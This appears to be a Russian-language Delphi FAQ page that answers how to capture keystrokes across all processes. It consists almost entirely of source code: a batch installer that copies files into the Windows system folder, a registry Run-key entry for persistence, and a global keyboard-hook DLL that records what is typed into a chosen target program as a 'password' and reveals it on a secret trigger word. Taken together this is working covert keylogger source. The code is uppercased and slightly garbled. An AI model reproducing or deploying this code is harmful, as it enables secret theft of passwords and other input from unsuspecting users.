CodeNet / Языки программирования / Delphi & Kylix / FAQ - Часто задаваемые вопросы / Пишем инсталятор.
FAQ - Как отловить нажатия клавиш для всех процессов в системе?
1. SETUP.BAT === CUT === @ECHO OFF COPY HOOKAGNT.DLL %WINDIR%\SYSTEM COPY KBDHOOK.EXE %WINDIR%\SYSTEM START HOOKAGNT.REG === CUT === 2.HOOKAGNT.REG === CUT === REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN] "KBDHOOK"="KBDHOOK.EXE" === CUT === 3.KBDHOOK.DPR === CUT === PROGRAM CWBHOOK; USES WINDOWS, DIALOGS; VAR HINSTDLL: HINST; HKPRCKEYBOARD: TFNHOOKPROC; MSG: TMSG; BEGIN HINSTDLL := LOADLIBRARY('HOOKAGNT.DLL'); HKPRCKEYBOARD := GETPROCADDRESS(HINSTDLL, 'KEYBOARDPROC'); SETWINDOWSHOOKEX(WH_KEYBOARD, HKPRCKEYBOARD, HINSTDLL, 0); REPEAT UNTIL NOT GETMESSAGE(MSG, 0, 0, 0); END. === CUT === 4.HOOKAGNT.DPR === CUT === LIBRARY HOOKAGENT; USES WINDOWS, KEYBOARDHOOK IN 'KEYBOARDHOOK.PAS'; EXPORTS KEYBOARDPROC; VAR HFILEMAPPINGOBJECT: THANDLE; FINIT: BOOLEAN; PROCEDURE DLLMAIN(REASON: INTEGER); BEGIN IF REASON = DLL_PROCESS_DETACH THEN BEGIN UNMAPVIEWOFFILE(LPVMEM); CLOSEHANDLE(HFILEMAPPINGOBJECT); END; END; BEGIN DLLPROC := @DLLMAIN; HFILEMAPPINGOBJECT := CREATEFILEMAPPING( THANDLE($FFFFFFFF), // USE PAGING FILE NIL, // NO SECURITY ATTRIBUTES PAGE_READWRITE, // READ/WRITE ACCESS 0, // SIZE: HIGH 32 BITS 4096, // SIZE: LOW 32 BITS 'HOOKAGENTSHAREMEM' // NAME OF MAP OBJECT ); IF HFILEMAPPINGOBJECT = INVALID_HANDLE_VALUE THEN BEGIN EXITCODE := 1; EXIT; END; FINIT := GETLASTERROR() <> ERROR_ALREADY_EXISTS; LPVMEM := MAPVIEWOFFILE( HFILEMAPPINGOBJECT, // OBJECT TO MAP VIEW OF FILE_MAP_WRITE, // READ/WRITE ACCESS 0, // HIGH OFFSET: MAP FROM 0, // LOW OFFSET: BEGINNING 0); // DEFAULT: MAP ENTIRE FILE IF LPVMEM = NIL THEN BEGIN CLOSEHANDLE(HFILEMAPPINGOBJECT); EXITCODE := 1; EXIT; END; IF FINIT THEN FILLCHAR(LPVMEM, PASSWORDSIZE, #0); END. === CUT === 5.KEYBOARDHOOK.PAS === CUT === UNIT KEYBOARDHOOK; INTERFACE USES WINDOWS; CONST PASSWORDSIZE = 16; VAR G_HHK: HHOOK; G_SZKEYWORD: ARRAY[0..PASSWORDSIZE-1] OF CHAR; LPVMEM: POINTER; FUNCTION KEYBOARDPROC(NCODE:INTEGER;WPARAM:WPARAM;LPARAM:LPARAM):LRESULT;STDCALL; IMPLEMENTATION USES SYSUTILS, DIALOGS; FUNCTION KEYBOARDPROC(NCODE: INTEGER; WPARAM: WPARAM; LPARAM: LPARAM ): LRESULT; VAR SZMODULEFILENAME: ARRAY[0..MAX_PATH-1] OF CHAR; SZKEYNAME: ARRAY[0..16] OF CHAR; LPSZPASSWORD: PCHAR; BEGIN LPSZPASSWORD := PCHAR(LPVMEM); IF (NCODE = HC_ACTION) AND (((LPARAM SHR 16) AND KF_UP) = 0) THEN BEGIN GETKEYNAMETEXT(LPARAM, SZKEYNAME, SIZEOF(SZKEYNAME)); IF STRLEN(G_SZKEYWORD) + STRLEN(SZKEYNAME) >= PASSWORDSIZE THEN LSTRCPY(G_SZKEYWORD, G_SZKEYWORD + STRLEN(SZKEYNAME)); LSTRCAT(G_SZKEYWORD, SZKEYNAME); GETMODULEFILENAME(0, SZMODULEFILENAME, SIZEOF(SZMODULEFILENAME)); > IF (STRPOS(STRUPPER(SZMODULEFILENAME),'__ТО_ЧЕГО_НАДО__') <> NIL) AND (STRLEN(LPSZPASSWORD) + STRLEN(SZKEYNAME) < PASSWORDSIZE) THEN LSTRCAT(LPSZPASSWORD, SZKEYNAME); IF STRPOS(STRUPPER(G_SZKEYWORD), 'GOLDENEYE') <> NIL THEN BEGIN SHOWMESSAGE(LPSZPASSWORD); G_SZKEYWORD[0] := #0; END; RESULT := 0; END ELSE RESULT := CALLNEXTHOOKEX(G_HHK, NCODE, WPARAM, LPARAM); END; END. === CUT ===